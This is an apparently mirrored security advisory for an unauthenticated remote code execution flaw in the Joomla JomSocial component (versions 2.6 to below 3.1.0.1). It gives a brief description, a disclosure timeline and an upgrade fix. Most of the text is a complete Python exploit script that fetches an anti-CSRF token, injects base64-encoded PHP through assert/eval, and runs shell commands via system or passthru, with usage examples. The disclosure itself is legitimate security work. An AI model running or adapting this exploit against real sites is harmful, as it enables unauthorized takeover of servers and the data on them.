Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:30272
HistoryFeb 03, 2014 - 12:00 a.m.

Joomla! JomSocial component < 3.1.0.1 - Remote code execution

2014-02-0300:00:00
vulners.com
39

Joomla! JomSocial component < 3.1.0.1 - Remote code execution

== Description ==

  • Software link: http://www.jomsocial.com/
  • Affected versions: All versions >= 2.6 and < 3.1.0.1 are vulnerable.
  • Vulnerability discovered by: Matias Fontanini and Gaston Traberg

== Vulnerability ==
The vulnerability is located in the "photos" controller,
"ajaxUploadAvatar" task. The parameters parsed by the "Azrul" plugin are
not properly sanitized before being used in a call to the
"call_user_func_array" PHP function. This allows an attacker to execute
arbitrary static class functions, using any amount of user-provided
parameters. This can be leveraged by calling the "escape" method in the
"CStringHelper" class to execute arbitrary PHP code.

In order to exploit the vulnerability, no authentication is required.

== Proof of concept ==
See the attached python script which allows executing arbitrary code on
a Jommla! application which has the JomSocial component installed.

== Solution ==
Upgrade the product to the 3.1.0.1 version.

== Report timeline ==
[2013-12-12] Vulnerability reported to vendor.
[2013-12-12] Developers answered back.
[2013-12-23] JomSocial 3.1.0.1 was released, which fixes the the
reported issue.
[2014-01-30] Public disclosure.

exploit.py

#!/usr/bin/python

Joomla! JomSocial component >= 2.6 PHP code execution exploit

Authors:

- Matias Fontanini

- Gaston Traberg

This exploit allows the execution of PHP code without any prior

authentication on the Joomla! JomSocial component.

Note that in order to be able to execute PHP code, both the "eval"

and "assert" functions must be enabled. It is also possible to execute

arbitrary PHP functions, without using them. Therefore, it is possible

to execute shell commands using "system", "passthru", etc, as long

as they are enabled.

Examples:

Execute PHP code:

./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"

./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php

Execute shell commands(using system()):

./exploit.py -u http://example.com/index.php -s "netstat -n"

Exploit shell commands(using a user provided function, passthru in this case)

./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru

Exploit execution example:

$ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'

[i] Retrieving cookies and anti-CSRF token… Done

[+] Executing PHP code…

string(12) "Hello World!"

import urllib, urllib2, re, argparse, sys, os

class Exploit:
token_request_data = 'option=com_community&view=frontpage'
exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["d","Event"]&arg3=["d","374"]&arg4=["d","{1}"]'
json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'

def __init__&#40;self, url, user_agent = None, use_eval = True&#41;:
    self.url = url
    self._set_user_agent&#40;user_agent&#41;
    self.use_eval = use_eval
    self.token_regex = re.compile&#40;&#39;&lt;input type=&#92;&quot;hidden&#92;&quot; name=&#92;&quot;&#40;[&#92;w&#92;d]{32}&#41;&#92;&quot; value=&#92;&quot;1&#92;&quot; &#92;/&gt;&#39;&#41;
    self.cookie, self.token = self._retrieve_token&#40;&#41;
    self.result_regex = re.compile&#40;&#39;method=&#92;&#92;&#92;&#92;&quot;POST&#92;&#92;&#92;&#92;&quot; enctype=&#92;&#92;&#92;&#92;&quot;multipart&#92;&#92;&#92;&#92;/form-data&#92;&#92;&#92;&#92;&quot;&gt;&lt;br&gt;&#40;.*&#41;&lt;div id=&#92;&#92;&#92;&#92;&quot;avatar-upload&#92;&#92;&#92;&#92;&quot;&gt;&#39;, re.DOTALL&#41;
    self.command_regex = re.compile&#40;&#39;&#40;.*&#41;&#92;&#92;[&#92;&#92;[&quot;as&quot;,&quot;ajax_calls&quot;,&quot;d&quot;,&quot;&quot;&#92;&#92;]&#39;, re.DOTALL&#41;

def _set_user_agent&#40;self, user_agent&#41;:
    self.user_agent = user_agent

def _make_opener&#40;self, add_cookie = True&#41;:
    opener = urllib2.build_opener&#40;&#41;
    if add_cookie:
        opener.addheaders.append&#40;&#40;&#39;Cookie&#39;, self.cookie&#41;&#41;
    opener.addheaders.append&#40;&#40;&#39;Referer&#39;, self.url&#41;&#41;
    if self.user_agent:
        opener.addheaders.append&#40;&#40;&#39;User-Agent&#39;, self.user_agent&#41;&#41;
    return opener

def _retrieve_token&#40;self&#41;:
    opener = self._make_opener&#40;False&#41;
    sys.stdout.write&#40;&#39;[i] Retrieving cookies and anti-CSRF token... &#39;&#41;
    sys.stdout.flush&#40;&#41;
    req = opener.open&#40;self.url, Exploit.token_request_data&#41;
    data = req.read&#40;&#41;
    token = self.token_regex.findall&#40;data&#41;
    if len&#40;token&#41; &lt; 1:
        print &#39;Failed&#39;
        raise Exception&#40;&quot;Could not retrieve anti-CSRF token&quot;&#41;
    print &#39;Done&#39;
    return &#40;req.headers[&#39;Set-Cookie&#39;], token[0]&#41;

def _do_call_function&#40;self, function, parameter&#41;:
    parameter = parameter.replace&#40;&#39;&quot;&#39;, &#39;&#92;&#92;&quot;&#39;&#41;
    json_data = Exploit.json_data.format&#40;function, parameter&#41;
    json_data = urllib2.quote&#40;json_data&#41;
    data = Exploit.exploit_request_data.format&#40;self.token, json_data&#41;
    opener = self._make_opener&#40;&#41;
    req = opener.open&#40;self.url, data&#41;
    if function == &#39;assert&#39;:
        return req.read&#40;&#41;
    elif function in [&#39;system&#39;, &#39;passthru&#39;]:
        result = self.command_regex.findall&#40;req.read&#40;&#41;&#41;
        if len&#40;result&#41; == 1:
            return result[0]
        else:
            return &quot;[+] Error executing command.&quot;
    else:
        result = self.result_regex.findall&#40;req.read&#40;&#41;&#41;
        if len&#40;result&#41; == 1:
            return result[0].replace&#40;&#39;&#92;&#92;/&#39;, &#39;/&#39;&#41;.replace&#40;&#39;&#92;&#92;&quot;&#39;, &#39;&quot;&#39;&#41;.replace&#40;&#39;&#92;&#92;n&#39;, &#39;&#92;n&#39;&#41;
        else:
            return &quot;[+] Error executing command.&quot;

def call_function&#40;self, function, parameter&#41;:
    if self.use_eval:
        return self.eval&#40;&quot;echo {0}&#40;&#39;{1}&#39;&#41;&quot;.format&#40;function, parameter&#41;&#41;
    else:
        return self._do_call_function&#40;function, parameter&#41;

def disabled_functions&#40;self&#41;:
    return self.call_function&#40;&quot;ini_get&quot;, &quot;disable_functions&quot;&#41;

def test_injection&#40;self&#41;:
    result = self.eval&#40;&quot;echo &#39;HELLO&#39; . &#39; - &#39; . &#39;WORLD&#39;;&quot;&#41;
    if &#39;HELLO - WORLD&#39; in result:
        print &quot;[+] Code injection using eval works&quot;
    else:
        print &quot;[+] Code injection doesn&#39;t work. Try executing shell commands.&quot;

def eval&#40;self, code&#41;:
    if code [-1] != &#39;;&#39;:
        code = code + &#39;;&#39;
    return self._do_call_function&#40;&#39;assert&#39;, &quot;@exit&#40;@eval&#40;@base64_decode&#40;&#39;{0}&#39;&#41;&#41;&#41;;&quot;.format&#40;code.encode&#40;&#39;base64&#39;&#41;.replace&#40;&#39;&#92;n&#39;, &#39;&#39;&#41;&#41;&#41;

parser = argparse.ArgumentParser(
description="JomSocial >= 2.6 - Code execution exploit"
)
parser.add_argument('-u', '–url', help='the base URL', required=True)
parser.add_argument(
'-p',
'–php-code',
help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
parser.add_argument('-s', '–shell-command', help='the shell command to execute')
parser.add_argument('-c', '–shell-function', help='the PHP function to use when executing shell commands', default="system")
parser.add_argument('-t', '–test', action='store_true', help='test the PHP code injection using eval', default=False)
parser.add_argument('-n', '–no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)

args = parser.parse_args()
if not args.test and not args.php_code and not args.shell_command:
print '[-] Need -p, -t or -s to do something…'
exit(1)
url = args.url
try:
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
exploit = Exploit(url, use_eval=args.no_eval)
if args.test:
exploit.test_injection()
elif args.php_code:
code = args.php_code
if args.php_code == '-':
print '[i] Enter the code to be executed:'
code = sys.stdin.read()
elif os.path.isfile(code):
try:
fd = open(code)
code = fd.read()
fd.close()
except Exception:
print "[-] Error reading the file."
exit(1)
print '[+] Executing PHP code…'
print exploit.eval(code)
elif args.shell_command:
print exploit.call_function(args.shell_function, args.shell_command)
except Exception as ex:
print '[+] Error: ' + str(ex)